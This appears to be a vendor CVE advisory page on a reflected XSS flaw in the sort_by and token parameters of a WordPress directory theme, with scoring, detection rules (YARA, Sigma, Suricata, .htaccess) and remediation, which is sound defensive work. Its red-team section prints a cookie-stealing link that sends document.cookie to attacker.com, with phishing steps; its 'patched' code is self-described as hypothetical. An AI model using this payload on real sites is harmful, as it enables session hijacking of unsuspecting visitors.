CVE-2025-0170
Executive Summary
CVE-2025-0170 is a Reflected Cross-Site Scripting (XSS) vulnerability affecting the DWT - Directory & Listing WordPress Theme up to version 3.3.3. The vulnerability exists due to insufficient input sanitization and output escaping on the sort_by and token parameters. An unauthenticated attacker can inject arbitrary web scripts that execute when a victim clicks a crafted link. This is a WordPress ecosystem issue, not related to Apache or Nginx.
Key Risk: An attacker can steal session cookies, redirect users to malicious sites, or perform actions on behalf of the victim.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a link)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. Exploitation requires user interaction, but the attack surface is broad due to the popularity of the theme.
Deep Dive & Mechanics
The vulnerability resides in the theme's handling of the sort_by and token GET parameters. The theme fails to properly sanitize user input before reflecting it in the HTML response. An attacker can craft a URL like:
https://victim-site.com/?sort_by=<script>alert('XSS')</script>
When the victim visits this URL, the script executes in the context of the victim's browser. The token parameter is similarly vulnerable.
Root Cause: The theme uses $_GET['sort_by'] and $_GET['token'] directly in output without applying esc_html() or wp_kses().
Vulnerable vs. Patched Code
Vulnerable Code (version <= 3.3.3):
// In some template file
echo $_GET['sort_by'];
echo $_GET['token'];
Patched Code (hypothetical fix):
echo esc_html( $_GET['sort_by'] );
echo esc_html( $_GET['token'] );
The patch would use WordPress's esc_html() function to encode HTML special characters, preventing script injection.
Exploitation & Lab Setup
Red Team
Proof-of-Concept (PoC):
<!-- Save as poc.html and host on attacker server -->
<a href="https://victim-site.com/?sort_by=<script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>">Click me</a>
Step-by-step:
- Host the PoC on an attacker-controlled server.
- Send the link to the victim via phishing email or social media.
- When the victim clicks, their session cookie is sent to the attacker.
Advanced Payload:
// Steal cookies and perform admin actions
var xhr = new XMLHttpRequest();
xhr.open('GET', '/wp-admin/admin-ajax.php?action=some_action', true);
xhr.send();
Blue Team
Detection:
- Monitor web logs for suspicious
sort_byortokenparameters containing<script>,onerror, orjavascript:. - Use WAF rules to block reflected XSS patterns.
Honeypot:
- Deploy a fake WordPress site with the vulnerable theme and monitor for exploitation attempts.
Indicators of Compromise (IOCs)
Network:
- HTTP requests with
sort_byortokenparameters containing<script>tags. - Outbound connections to unknown IPs after a user clicks a link.
- HTTP requests with
Host:
- Unexpected JavaScript execution in browser console.
- Modified WordPress admin cookies.
Logs:
- Apache/Nginx access logs showing
sort_by=<script>patterns.
- Apache/Nginx access logs showing
Detection Engineering
YARA Rule
rule CVE_2025_0170_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts against DWT theme sort_by/token parameters"
author = "Valters IT"
date = "2025-01-17"
reference = "CVE-2025-0170"
strings:
$param1 = "sort_by="
$param2 = "token="
$xss_pattern = /<script[^>]*>.*<\/script>/i
condition:
any of ($param*) and $xss_pattern
}
Sigma Rule
title: Reflected XSS Attempt Against DWT Theme
id: cve-2025-0170
status: experimental
description: Detects reflected XSS attempts via sort_by or token parameters
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: GET
cs-uri-query|contains:
- 'sort_by=<script'
- 'token=<script'
condition: selection
falsepositives:
- Legitimate use of script tags in search (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-0170 Reflected XSS in DWT Theme"; flow:to_server,established; content:"GET"; http_method; content:"sort_by="; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Update the theme to a patched version if available (check theme developer's site).
- Apply a virtual patch using a WAF to block
sort_byandtokenparameters containing<script>. - Disable the theme temporarily if no patch is available.
Long-term Fix:
- The theme developer must implement proper input sanitization using
esc_html()orwp_kses(). - Conduct a security audit of all user-facing parameters.
Workaround:
- Add the following to
.htaccess(if using Apache):
RewriteCond %{QUERY_STRING} (sort_by|token)=.*<script [NC]
RewriteRule .* - [F,L]
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.